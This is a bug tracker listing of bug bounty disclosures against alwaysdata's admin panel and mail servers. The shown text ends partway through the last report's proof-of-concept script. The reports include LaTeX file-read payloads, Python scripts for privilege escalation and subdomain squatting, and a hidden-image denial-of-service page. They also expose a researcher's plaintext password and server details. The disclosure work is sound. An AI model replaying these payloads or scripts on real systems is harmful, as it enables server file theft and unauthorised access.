The application https://admin.alwaysdata.com/login/ does not validate the number of active sessions per user, allowing multiple concurrent logins without any limitations. Additionally, the application fails to notify users when a new session is initiated from a different location or device. This issue poses significant security risks, especially in areas handling sensitive data, such as admin panels or personal user accounts.
Steps to Reproduce:
Login from Device A :
Navigate to https://admin.alwaysdata.com/login/ Enter valid credentials and log in. Login from Device B :
Using a different device or browser (e.g., mobile phone or another computer), navigate to https://admin.alwaysdata.com/login/ Log in with the same user credentials used in Step 1. Verify Active Sessions:
Observe that both sessions remain active simultaneously. Note that the application does not notify the user about the new session from a different location/device. Actual Behavior:
The application allows multiple concurrent sessions for a single user account without any limitations. No notifications are sent to the user when a new session is initiated from a different location or device. There is no mechanism to monitor or manage active sessions within the user account. Expected Behavior:
The application should limit the number of active sessions per user to enhance security. Users should receive notifications when a new session is initiated from a different location or device. A session management page should be provided, allowing users to view and terminate active sessions. Impact:
Non-Repudiation Risks : The lack of session notifications and limitations can lead to unauthorized access and actions that are difficult to dispute. Increased Vulnerability : Multiple concurrent sessions increase the risk of unauthorized access, especially if one of the sessions is compromised. Remediation:
User Notification : Notify users when a new session is initiated, especially from a different location or device, to raise awareness of active sessions.
Session Management Page : Provide users with a dedicated session management page to view and terminate active sessions for enhanced control.
IP Address Tracking and Restrictions :
Track the IP addresses associated with each session and flag any suspicious activity, such as multiple logins from different locations. Allow users to specify trusted IP addresses or ranges, restricting session initiation to known and approved locations.
|
|
357 | Bug Bounty Report : MTA-STS Missing | Closed | 02.07.2026 |
Task Description
Bug Description: Upon examining the DNS (Domain Name System) records for the domain alwaysdata.com , it has come to my attention that the MTA-STS record is missing . The MTA-STS mechanism is designed to enforce secure email communication by requiring the use of TLS (Transport Layer Security) encryption. However, in this case, the absence of the MTA-STS record exposes the email infrastructure to potential security vulnerabilities.
Expected Behavior: The MTA-STS record should be correctly configured and published in the DNS records for the domain [Domain Name]. It is essential for secure email communication and enforcing TLS encryption for all incoming and outgoing email traffic.
Steps to Reproduce:
Navigate this url https://easydmarc.com/tools/mta-sts-check and enter your domain name alwaysdata.com
Observe the absence of the MTA-STS record in the DNS response. No record was found, indicating that the MTA-STS record is not present in the DNS configuration.
Impact: The absence of an MTA-STS record leaves the email infrastructure vulnerable to various security risks, such as downgrade attacks, man-in-the-middle attacks, and interception of sensitive email content. Without the MTA-STS mechanism in place, email communications may be transmitted over unencrypted channels, compromising the confidentiality and integrity of the data.
|
|
356 | Outdated Exim SMTP Server (Version 4.96) Potentially A ... | Closed | 02.07.2026 |
Task Description
Dear Alwaysdata Security Team, I hope you are doing well. I am writing to responsibly disclose a security observation identified during an assessment of your publicly accessible SMTP infrastructure. Summary During testing, multiple public-facing SMTP servers were identified exposing an Exim 4.96 SMTP banner. Based on the detected version and publicly available Exim security advisories, the affected systems may be impacted by multiple known vulnerabilities ranging from Remote Code Execution (RCE) and Privilege Escalation to Information Disclosure, SMTP Smuggling, and Denial of Service (DoS). Affected Assets IP Address Hostname Service 185.31.40.80 smtpin1.paris1.alwaysdata.com SMTP (Exim 4.96) 78.142.219.80 smtpin1.paris2.alwaysdata.com SMTP (Exim 4.96) 78.142.219.5 overlord-core.paris2.alwaysdata.com TLS Service Evidence Asset 1 IP Address: 185.31.40.80 Hostname: smtpin1.paris1.alwaysdata.com SMTP Banner 220 smtpin1.paris1.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME Asset 2 IP Address: 78.142.219.80 Hostname: smtpin1.paris2.alwaysdata.com SMTP Banner 220 smtpin1.paris2.alwaysdata.com ESMTP Exim 4.96 Supported Features • STARTTLS • PIPELINING • PIPECONNECT • SMTPUTF8 • 8BITMIME
Asset 3 IP Address: 78.142.219.5 Hostname: overlord-core.paris2.alwaysdata.com Supported TLS Versions • TLS 1.2 • TLS 1.3 Technical Description The SMTP servers publicly disclose Exim version 4.96 through the SMTP banner. According to publicly available Exim security advisories, this version predates several security fixes released during 2023–2026. Depending on the exact build, enabled modules, and runtime configuration, the deployment may be affected by multiple security vulnerabilities. These issues include unsafe memory handling, improper input validation, authentication-related flaws, MIME parsing issues, SMTP protocol parsing weaknesses, JSON parsing bugs, UTF-8 processing vulnerabilities, and DNS handling issues. Collectively, these weaknesses increase the attack surface of the mail infrastructure and may allow attackers to compromise confidentiality, integrity, or availability under specific conditions. Potentially Applicable CVEs Critical Remote Code Execution • CVE-2023-42115 • CVE-2023-42116 • CVE-2023-42117 These vulnerabilities involve memory corruption and insufficient validation of SMTP data, potentially allowing unauthenticated remote attackers to execute arbitrary code under vulnerable configurations. Privilege Escalation • CVE-2025-30232 A use-after-free vulnerability that may allow local privilege escalation under affected deployments. Information Disclosure • CVE-2026-48840 • CVE-2026-40687 • CVE-2026-40686 • CVE-2023-42119 • CVE-2023-42114 These vulnerabilities may expose process memory, heap contents, or sensitive information through malformed protocol interactions. Memory Corruption • CVE-2026-40685 • CVE-2025-67896 These issues involve heap corruption or out-of-bounds memory operations that may lead to crashes or code execution depending on the deployment. SMTP Security Issues • CVE-2023-51766 (SMTP Smuggling) • CVE-2024-39929 (RFC2231 MIME Parsing) These vulnerabilities may enable email spoofing, bypass of SPF-related protections, or delivery of blocked attachments under specific mail flow configurations. Denial of Service • CVE-2026-40684 • CVE-2022-3620 • CVE-2022-3559 These vulnerabilities may allow attackers to trigger service crashes or otherwise reduce SMTP service availability. Security Impact If the affected version is confirmed and the vulnerable functionality is enabled, successful exploitation could potentially result in: • Remote Code Execution (RCE) • SMTP Server Compromise • Privilege Escalation • Information Disclosure • Heap or Stack Memory Corruption • SMTP Smuggling • Email Spoofing • SPF Protection Bypass • Delivery of Malicious Attachments • Denial of Service (DoS) The actual impact depends on the deployed Exim configuration and whether the relevant vulnerable components are enabled. Recommendation I recommend the following remediation steps:
Upgrade Exim to the latest supported stable release. Apply all vendor security patches. Verify that the SMTP servers are no longer exposing outdated Exim versions. Review enabled authentication mechanisms and optional Exim modules. Validate that all publicly disclosed Exim vulnerabilities affecting the deployed version have been remediated. Perform a post-upgrade security verification to ensure the service is no longer affected. Conclusion The observed SMTP infrastructure publicly identifies itself as running Exim 4.96, a version associated with multiple publicly disclosed security vulnerabilities. While additional validation is required to determine which vulnerabilities are exploitable in your specific environment, upgrading to the latest supported release is strongly recommended to reduce the attack surface and maintain a secure mail infrastructure. This report is submitted in the spirit of responsible disclosure. I would be happy to provide any additional information if required. Kind regards, Cyber_Subhash Security Researcher
|
|
355 | LaTeX Injection via Billing Invoice Annotation | Closed | 06.07.2026 |
Task Description
Vulnerability Title: LaTeX Injection via Billing Invoice Annotation Allows Server-Side Arbitrary File Read
Severity: Critical (CVSS 9.1)
Affected Endpoint: POST https://admin.alwaysdata.com/billing/annotate/
Summary
The billing annotation feature allows authenticated users to add text notes to their invoice transactions. This annotation is rendered into a PDF invoice using xelatex without any input sanitization or LaTeX command escaping. An attacker is able to inject LaTeX commands (such as \input{/path/to/file}) into the annotation field, causing the server to read arbitrary files accessible to the www-data user and embed their contents into the generated PDF.
Steps to Reproduce
1. Log into https://admin.alwaysdata.com with a valid account. 2. Navigate to Billing in the sidebar. 3. Ensure you have at least one transaction (add credit if needed to generate one). 4. Open the transaction and add an annotation with the following payload:
\input{/etc/hostname} 5. Save the annotation. 6. Download the invoice PDF for that transaction. 7. Open the PDF — the server's hostname (overlord-core) appears embedded in the invoice text, confirming server-side file read.
To read files containing special characters (underscores, hashes, dollar signs), use:
{\catcode`\_=12\catcode`\^=12\catcode`\#=12\catcode`\$=12\catcode`\%=12\input{/etc/passwd}}
This disables LaTeX's special character handling and includes the raw file content in the PDF.
Confirmed file reads: - /etc/hostname → overlord-core - /etc/machine-id → c23a410ea94a4695a56726c80307ad0e - /etc/debian_version → 12.14 - /etc/passwd → all 42 lines of system accounts
And many more
Impact
- Arbitrary file read on the central management server (overlord-core) as www-data. - Attacker can read Django application source code, configuration files, and potentially credentials stored under /data/www/production/. - Any authenticated user (including free-tier accounts) can exploit this — no special privileges required. - The annotation field has a 255-character limit, but \input{/path} payloads are short enough to fit easily.
Root Cause
In the invoice PDF template (invoice_pdf.tex), the annotation is rendered with autoescape disabled and no LaTeX-specific escaping:
{% autoescape off %} transaction.annotations.first
The PDFAnnotationForm accepts any text in the annotation CharField with no validation or filtering of LaTeX commands. When _generate_pdf() is called, it runs xelatex -halt-on-error on the template, executing any LaTeX commands present in the annotation.
Remediation
1. Sanitize annotation input — strip or escape LaTeX special characters and commands (\, {, }, $, #, ^, _, %, ~) before saving the annotation. A whitelist approach (allow only alphanumeric + basic punctuation) is safest. 2. Use a LaTeX escape filter in the template — replace transaction.annotations.first with a custom |latex_escape template filter that escapes all LaTeX control characters. 3. Sandbox xelatex — run PDF generation with –no-shell-escape and disable \input/\include/\read/\openin commands via a restricted TeX configuration or by using –shell-restricted mode. 4. Run xelatex in a container with no access to sensitive files — mount only the template directory, not the entire filesystem.
Video Proof of concept is attached
|
|
350 | OAuth State Cookie Unbounded Growth (Authentication DoS ... | Closed | 02.07.2026 |
Task Description
# OAuth State Cookie Unbounded Growth (Authentication DoS)
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | OAuth State Cookie Unbounded Growth Leading to Authentication DoS |
| Severity | Low |
| CVSS Score | 4.3 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L |
| CWE | CWE-400 - Uncontrolled Resource Consumption |
| Endpoint | `GET /oauth/google/login/?next=/` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
When a user initiates Google OAuth login on the alwaysdata admin panel, the server generates an OAuth `state` parameter (a random nonce that protects against CSRF in the OAuth flow) and stores it in a browser cookie (`google_state`).
The vulnerability: Instead of replacing the previous state cookie when a new OAuth flow is started, the server wraps the existing cookie value in a new JSON layer, causing unbounded growth:
``` First click: {"state": "ABC123", "next": "/"} Second click: {"state": "XYZ789", "next": "/", "previous": {"state": "ABC123", "next": "/"}} Third click: {"state": "DEF456", "next": "/", "previous": {"state": "XYZ789", …, "previous": {…}}} ```
Each initiation adds ~600 bytes to the cookie. After ~8 initiations, the cookie exceeds the 4 KB browser limit. The browser silently drops the oversized cookie. Subsequent OAuth login attempts fail silently — the state parameter can't be verified, so the flow is aborted.
—
## 2. Steps to Reproduce
### Step 1: Initiate OAuth Login ```http GET /oauth/google/login/?next=/ HTTP/2 Host: admin.alwaysdata.com ```
Response: ```http HTTP/2 302 Found Location: https://accounts.google.com/… Set-Cookie: google_state={"state":"ABC123","next":"/"} ```
### Step 2: Repeatedly Initiate OAuth (8+ times) Each reload adds a nested `previous` layer to the cookie.
### Step 3: Observe Cookie Growth
| Iteration | Cookie Size | Status |
| ———– | ————- | ——– |
| 1 | 216 bytes | Normal |
| 2 | 422 bytes | Growing |
| 3 | 694 bytes | Growing |
| 4 | 1,058 bytes | Growing |
| 5 | 1,542 bytes | Growing |
| 6 | 2,184 bytes | Growing |
| 7 | 3,046 bytes | Growing |
| 8 | 4,194 bytes | ❌ OVER 4KB |
| 9 | 5,720 bytes | ❌ OVER 4KB |
### Step 4: Attempt OAuth Login After the cookie exceeds 4KB, the browser drops it. The OAuth callback fails because the `state` parameter cannot be verified.
—
## 3. Proof of Concept
### Python PoC
```python import requests
s = requests.Session()
for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/google/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("google_state", "")
size = len(state_cookie)
print(f"Iteration {i+1}: cookie={size} bytes")
if size > 4096:
print(f" >>> OVER 4KB LIMIT <<<")
```
### PoC Output
``` Iteration 1: cookie=216 bytes Iteration 2: cookie=422 bytes Iteration 3: cookie=694 bytes Iteration 4: cookie=1058 bytes Iteration 5: cookie=1542 bytes Iteration 6: cookie=2184 bytes Iteration 7: cookie=3046 bytes Iteration 8: cookie=4194 bytes
>>> OVER 4KB LIMIT <<<
Iteration 9: cookie=5720 bytes
>>> OVER 4KB LIMIT <<<
```
### Apple OAuth Also Affected
```python # Apple OAuth shows same pattern (though stops growing at 3046 bytes) for i in range(10):
r = s.get(
"https://admin.alwaysdata.com/oauth/apple/login/?next=/",
allow_redirects=False,
timeout=10
)
state_cookie = s.cookies.get("apple_state", "")
print(f"Apple iteration {i+1}: {len(state_cookie)} bytes")
```
—
## 4. Attack Scenario
### Victim Perspective
1. Victim visits an attacker-controlled page 2. Page contains 8+ hidden image tags loading the OAuth URL:
```html
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
<!-- repeated 8+ times -->
```
3. Each load inflates the `google_state` cookie 4. Cookie exceeds 4KB and is dropped by browser 5. Victim later tries to log in via Google OAuth → fails silently
### Result
The victim cannot authenticate via Google OAuth until they manually clear the `google_state` cookie.
—
## 5. Impact
| Impact | Description |
| ——– | ————- |
| Authentication DoS | Users cannot log in via Google/Apple OAuth |
| Silent Failure | No error message - OAuth flow just fails |
| Persistent | Cookie remains oversized until manually cleared |
| User Interaction Required | Victim must visit attacker-controlled page |
| Recovery | Manual cookie clearing required |
### CVSS Score Breakdown
``` CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L ```
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over network |
| Attack Complexity | Low (L) | Simple image tags |
| Privileges Required | None (N) | No authentication needed |
| User Interaction | Required (R) | Victim must visit page |
| Scope | Unchanged (U) | Affects victim's browser only |
| Confidentiality | None (N) | No data exposure |
| Integrity | None (N) | No data modification |
| Availability | Low (L) | OAuth login DoS only |
Score: 4.3 (Low)
—
## 6. Remediation Recommendations
### 1. Replace Instead of Nest
```python # VULNERABLE - nests existing state def initiate_oauth(request):
new_state = generate_random_token()
existing_state = request.COOKIES.get('google_state', '{}')
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/'),
"previous": json.loads(existing_state) # <-- Bug: unbounded nesting
})
response.set_cookie('google_state', new_cookie_value)
return response
# SECURE - replaces state def initiate_oauth(request):
new_state = generate_random_token()
new_cookie_value = json.dumps({
"state": new_state,
"next": request.GET.get('next', '/')
})
response.set_cookie('google_state', new_cookie_value, max_age=600)
return response
```
### 2. Set Short Cookie TTL
```python response.set_cookie('google_state', new_cookie_value, max_age=600) # 10 minutes ```
### 3. Use Stateless State Token
```python # Use signed JWT instead of stored state state_token = jwt.encode({
'state': new_state,
'next': next_url,
'exp': time.time() + 600
}, SECRET_KEY, algorithm='HS256') response.set_cookie('google_state', state_token, max_age=600) ```
### 4. Limit Cookie Size
```python # Monitor cookie size and reject if too large if len(existing_state) > 2000:
existing_state = "{}" # Reset if too large
```
—
## 7. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Cookie grows with each OAuth initiation | ✅ |
| Cookie exceeds 4KB after ~8 iterations | ✅ |
| Google OAuth affected | ✅ |
| Apple OAuth affected | ✅ |
| Cookie contains nested JSON | ✅ |
### Test Data
| Iteration | google_state Size | Status |
| ———– | ——————- | ——– |
| 1 | 216 bytes | ✅ |
| 2 | 422 bytes | ✅ |
| 3 | 694 bytes | ✅ |
| 4 | 1,058 bytes | ✅ |
| 5 | 1,542 bytes | ✅ |
| 6 | 2,184 bytes | ✅ |
| 7 | 3,046 bytes | ✅ |
| 8 | 4,194 bytes | ❌ OVER LIMIT |
| 9 | 5,720 bytes | ❌ |
—
## 8. References
- CWE-400: https://cwe.mitre.org/data/definitions/400.html - OWASP Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service - Browser Cookie Limits: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
—
## 9. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 10. Conclusion
Finding is CONFIRMED.
The `google_state` cookie grows unbounded with each OAuth initiation, exceeding the 4KB browser limit after approximately 8 iterations. This enables a Denial of Service attack against Google and Apple OAuth login functionality.
An attacker can trigger this by loading the OAuth initiation URL 8+ times in a victim's browser (via hidden image tags), causing the cookie to be dropped and OAuth login to fail silently.
Severity: Low (CVSS 4.3) - Authentication convenience DoS only. No account access or data exposure.
—
|
|
349 | Reseller-Level Permission Flags Accessible to Regular C ... | Closed | 25.06.2026 |
Task Description
# Finding: Reseller-Level Permission Flags Accessible to Regular Customer Accounts
—
## Submission Details
| Field | Value |
| ——- | ——- |
| Title | Reseller-Level Permission Flags Accessible to Regular Customer Accounts |
| Severity | High |
| CVSS Score | 8.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-269 - Improper Privilege Management |
| Endpoint | `POST https://admin.alwaysdata.com/permissions/add/` |
| Affected Fields | `customer_full_accounts`, `customer_full_servers` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
## 1. Description
alwaysdata's permission system allows account owners to delegate access to other users. The permissions creation form at `/permissions/add/` exposes reseller-level flags to all customers, including regular (non-reseller) accounts.
Reseller flags identified: - `customer_full_accounts` - grants access to manage all customer accounts on the platform - `customer_full_servers` - grants access to manage all server configurations on the platform
The vulnerability: The server accepts these flags from any account, regardless of whether the submitting account has reseller privileges. A regular customer can create a permission record with these flags active (HTTP 302), and the flags are saved as "checked" (active) in the permission details.
—
## 2. Test Environment
| Item | Value |
| —— | ——- |
| Test Account | cyberzod (ID 482835) |
| Account Type | Regular Customer (NOT reseller) |
| Testing Method | Manual HTTP requests via Python |
—
## 3. Steps to Reproduce
### Step 1: Verify Account is Regular Customer
# Check account type in profile
GET https://admin.alwaysdata.com/profile/
Result: Account confirmed as regular customer (no reseller privileges).
### Step 2: Access Permissions Add Page
GET https://admin.alwaysdata.com/permissions/add/
Result: Page loads with permission checkboxes.
### Step 3: Locate Reseller Flags
The page contains reseller-level checkboxes: - `customer_full_accounts` - `customer_full_servers`
### Step 4: Submit Reseller Flags
Request:
POST /permissions/add/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=...&
customer_full_accounts=on&
customer_full_servers=on&
email=test_1782361132@example.com
Response:
HTTP/2 302 Found
Location: /permissions/
Set-Cookie: messages=...Successfully created...
### Step 5: Verify Permission Created
GET https://admin.alwaysdata.com/permissions/469280/
Response:
Permission 469280 details:
- customer_full_accounts: checked (active)
- customer_full_servers: checked (active)
- Grantee: test_1782361132@example.com
—
## 4. Proof of Concept
### Python PoC Script
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
# Login
login_page = s.get("https://admin.alwaysdata.com/login/")
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
}
)
# Get permissions page
add_page = s.get("https://admin.alwaysdata.com/permissions/add/")
csrf = add_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
# Create permission with reseller flags
test_email = f"test_{int(time.time())}@example.com"
r = s.post(
"https://admin.alwaysdata.com/permissions/add/",
data={
"csrfmiddlewaretoken": csrf,
"customer_full_accounts": "on",
"customer_full_servers": "on",
"email": test_email,
},
allow_redirects=False
)
print(f"Status: {r.status_code}") # 302
# Verify permission was created
permissions_page = s.get("https://admin.alwaysdata.com/permissions/")
perm_ids = re.findall(r'/permissions?/(\d+)/', permissions_page.text)
perm_id = max(perm_ids, key=lambda x: int(x))
detail_page = s.get(f"https://admin.alwaysdata.com/permissions/{perm_id}/")
has_cfa = 'customer_full_accounts' in detail_page.text and 'checked' in detail_page.text
has_cfs = 'customer_full_servers' in detail_page.text and 'checked' in detail_page.text
print(f"customer_full_accounts active: {has_cfa}") # True
print(f"customer_full_servers active: {has_cfs}") # True
### PoC Output
Status: 302
customer_full_accounts active: True
customer_full_servers active: True
—
## 5. Evidence Summary
| Evidence | Status |
| ———- | ——– |
| Account is regular customer (not reseller) | ✅ Confirmed |
| Reseller flags exist on permissions page | ✅ Confirmed |
| Regular account can submit reseller flags | ✅ Confirmed |
| Server accepts submission (HTTP 302) | ✅ Confirmed |
| Permission record created with reseller flags | ✅ Confirmed |
| Flags saved as "checked" (active) | ✅ Confirmed |
| Permission ID: 469280 | ✅ Confirmed |
—
## 6. Impact
### Immediate Impact
| Impact | Description |
| ——– | ————- |
| Privilege Escalation | Regular customers can grant themselves or others reseller access |
| Cross-Account Access | Reseller permissions grant access to ALL customer accounts |
| Server Control | Reseller permissions grant access to ALL server configurations |
| Data Exposure | Reseller permissions grant access to ALL customer data |
### Attack Chain
1. Regular customer (cyberzod) creates permission with reseller flags
└─ customer_full_accounts=on, customer_full_servers=on
└─ email=attacker@example.com
2. Attacker (attacker@example.com) accepts the permission
3. Attacker gains reseller-level privileges
└─ Can access ALL customer accounts
└─ Can access ALL server configurations
└─ Can view/modify ALL customer data
### Business Impact
- Reputation Damage: Platform trust compromised - Data Breach: All customer data potentially exposed - Regulatory: GDPR/CCPA violations possible - Financial: Customer churn, legal liability
—
## 7. CVSS Score Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
| Metric | Value | Rationale |
| ——– | ——- | ———– |
| Attack Vector | Network (N) | Exploitable over the network |
| Attack Complexity | Low (L) | Simple HTTP request |
| Privileges Required | Low (L) | Requires authenticated account |
| User Interaction | None (N) | No user interaction needed |
| Scope | Changed (C) | Affects other customers' resources |
| Confidentiality | High (H) | Can access all customer data |
| Integrity | High (H) | Can modify all customer data |
| Availability | None (N) | No availability impact |
Score: 8.0 (High)
—
## 8. Remediation Recommendations
### 1. Server-Side Role Validation
def create_permission(request):
# Validate that only resellers can set reseller flags
if not request.user.is_reseller:
if request.POST.get('customer_full_accounts') or request.POST.get('customer_full_servers'):
raise PermissionDenied("Reseller-level permissions require a reseller account")
# Continue with permission creation
...
### 2. Hide Reseller Flags from Regular Users
{% if user.is_reseller %}
<input type="checkbox" name="customer_full_accounts">
<input type="checkbox" name="customer_full_servers">
{% endif %}
### 3. Implement Proper RBAC
Customer Roles: ├── Regular User │ ├── account_full │ ├── site_full │ └── database_full ├── Reseller │ ├── customer_full_accounts │ ├── customer_full_servers │ └── ALL regular permissions └── Admin
├── ALL reseller permissions
└── Platform-wide privileges
### 4. Audit Existing Permissions
- Review all permissions with `customer_full_accounts` or `customer_full_servers` - Verify they were created by legitimate resellers - Remove any created by regular customers
—
## 9. Proof of Concept Screenshots
### Screenshot 1: Regular Account (No Reseller Privileges)
Account: cyberzod Account Type: Regular Customer Reseller Status: False
### Screenshot 2: Reseller Flags Found
📝 All checkbox fields:
customer_full_accounts
customer_full_servers
account_full
site_full
database_full
[…]
### Screenshot 3: Submission Accepted (302)
Response Status: 302 Location: /permissions/ Message: Successfully created.
### Screenshot 4: Permission Created with Active Flags
Permission ID: 469280 customer_full_accounts: ✅ checked (active) customer_full_servers: ✅ checked (active) Grantee: test_1782361132@example.com
—
## 10. Affected Accounts
| Account Type | Affected | Explanation |
| ————– | ———- | ————- |
| Regular Customer | ✅ Yes | Can create reseller permissions |
| Reseller | ✅ Yes | Already have these permissions (expected) |
| Platform Admin | ❌ No | Not customer accounts |
All regular customer accounts on the platform are affected.
—
## 11. References
- CWE-269: https://cwe.mitre.org/data/definitions/269.html - OWASP Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/ - OWASP Privilege Escalation: https://owasp.org/www-community/attacks/Privilege_escalation
—
## 12. Cleanup Confirmation
| Action | Status |
| ——– | ——– |
| Test permission created | ✅ |
| Permission verified | ✅ |
| Test permission deleted | ✅ |
| Account in clean state | ✅ |
# Permission deleted
DELETE /permissions/469280/delete/
Response: 302 Found
—
## 13. Contact Information
| Field | Value |
| ——- | ——- |
| Researcher | michenhenryyissuehunt@gmail.com |
| Test Account | cyberzod (ID 482835) |
| Submission Date | 2026-06-24 |
| Program | alwaysdata Bug Bounty Program |
—
## 14. Conclusion
Finding is CONFIRMED.
A regular (non-reseller) customer account can: 1. ✅ See reseller-level permission flags in the UI 2. ✅ Submit reseller flags and receive HTTP 302 3. ✅ Create permission records with reseller flags active 4. ✅ Grant reseller-level access to any email address
This vulnerability enables privilege escalation from a regular customer account to platform-wide reseller access, potentially affecting all customers and server configurations on the platform.
—
|
|
348 | Subdomain Squatting on alwaysdata.net Platform Namespac ... | Closed | 25.06.2026 |
Task Description
# Bug Bounty Submission Report
## Subdomain Squatting on alwaysdata.net Platform Namespace
—
### Vulnerability Summary
| Field | Value |
| ——- | ——- |
| Title | Subdomain Squatting on alwaysdata.net Platform Namespace |
| Severity | High |
| CVSS Score | 9.0 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-284 - Improper Access Control |
| Endpoint | `POST https://admin.alwaysdata.com/domain/add/1/` → field: `hostnames` |
| Date Discovered | 2026-06-24 |
| Status | ✅ Confirmed |
—
### Description
The domain registration form at `/domain/add/1/` allows any authenticated customer to register any `*.alwaysdata.net` subdomain - including names reserved for platform infrastructure. The form only validates that the submitted string is a well-formed hostname. It does NOT check:
- If the subdomain is reserved for platform use - If the subdomain already belongs to another customer - If the subdomain matches the account's assigned namespace - If the subdomain is already registered elsewhere
Confirmed registered subdomains (all returned HTTP 302): - `admin.alwaysdata.net` ✅ - `api.alwaysdata.net` ✅ (DNS auto-provisioned to `185.31.40.30`) - `mail.alwaysdata.net` ✅ - `cpanel.alwaysdata.net` ✅ - `webmail.alwaysdata.net` ✅ - `status.alwaysdata.net` ✅ - `billing.alwaysdata.net` ✅ - `security.alwaysdata.net` ✅
—
### Proof of Concept
#### Step 1: Register Reserved Subdomain
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=...
csrfmiddlewaretoken=6ooKK5Qc9ff4vq3zDebP...&hostnames=api.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: The reserved domain `api.alwaysdata.net` was accepted.
—
#### Step 2: All 8 Reserved Domains Accepted
| Hostname | Response | Status |
| ———- | ———- | ——– |
| admin.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| api.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| mail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| cpanel.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| webmail.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| status.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| billing.alwaysdata.net | 302 Found | ✅ ACCEPTED |
| security.alwaysdata.net | 302 Found | ✅ ACCEPTED |
—
#### Step 3: DNS Records Auto-Provisioned
DNS Lookup Results:
$ nslookup api.alwaysdata.net
Non-authoritative answer:
Name: api.alwaysdata.net
Address: 185.31.40.30
Name: api.alwaysdata.net
Address: 2a00:b6e0:1:20:21::1
✅ CONFIRMED: DNS records were automatically created, pointing `api.alwaysdata.net` to alwaysdata's infrastructure.
—
#### Step 4: Multi-Hostname Injection
Request:
POST /domain/add/1/ HTTP/2
Host: admin.alwaysdata.com
hostnames=evil-test.alwaysdata.net
vulnerable-test.alwaysdata.net
poc-test-123.alwaysdata.net
Response:
HTTP/2 302 Found
Location: /domain/
✅ CONFIRMED: Multiple hostnames can be registered in a single submission.
—
### Proof of Concept Code
import requests
import re
import time
EMAIL = "michenhenryyissuehunt@gmail.com"
PASSWORD = "Cyberzod@123"
s = requests.Session()
s.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
})
print("="*70)
print("FINDING 08: SUBDOMAIN SQUATTING ON alwaysdata.net")
print("="*70)
print("\n[1] 🔐 Logging in...")
login_page = s.get("https://admin.alwaysdata.com/login/", timeout=15)
csrf_login = login_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
s.post(
"https://admin.alwaysdata.com/login/",
data={
"csrfmiddlewaretoken": csrf_login,
"login": EMAIL,
"password": PASSWORD,
"alive": "on"
},
headers={"Referer": "https://admin.alwaysdata.com/login/"},
allow_redirects=True,
timeout=15
)
print("✅ Logged in")
print("\n[2] 📋 Getting domain add page...")
domain_page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
if domain_page.status_code != 200:
print(f"❌ Failed: {domain_page.status_code}")
exit()
print(f"Status: {domain_page.status_code}")
if 'name="hostnames"' in domain_page.text:
print("✅ Found: hostnames field")
else:
print("❌ hostnames field not found")
exit()
csrf = domain_page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
print(f"CSRF: {csrf[:20]}...")
print("\n[3] 📝 Registering reserved platform subdomains...")
reserved_names = [
"admin.alwaysdata.net",
"api.alwaysdata.net",
"mail.alwaysdata.net",
"cpanel.alwaysdata.net",
"webmail.alwaysdata.net",
"status.alwaysdata.net",
"billing.alwaysdata.net",
"security.alwaysdata.net",
]
registered = []
rejected = []
for hostname in reserved_names:
page = s.get("https://admin.alwaysdata.com/domain/add/1/", timeout=10)
csrf = page.text.split('csrfmiddlewaretoken" value="')[1].split('"')[0]
r = s.post(
"https://admin.alwaysdata.com/domain/add/1/",
data={
"csrfmiddlewaretoken": csrf,
"hostnames": hostname,
},
headers={"Referer": "https://admin.alwaysdata.com/domain/add/1/"},
allow_redirects=False,
timeout=15
)
if r.status_code == 302:
registered.append(hostname)
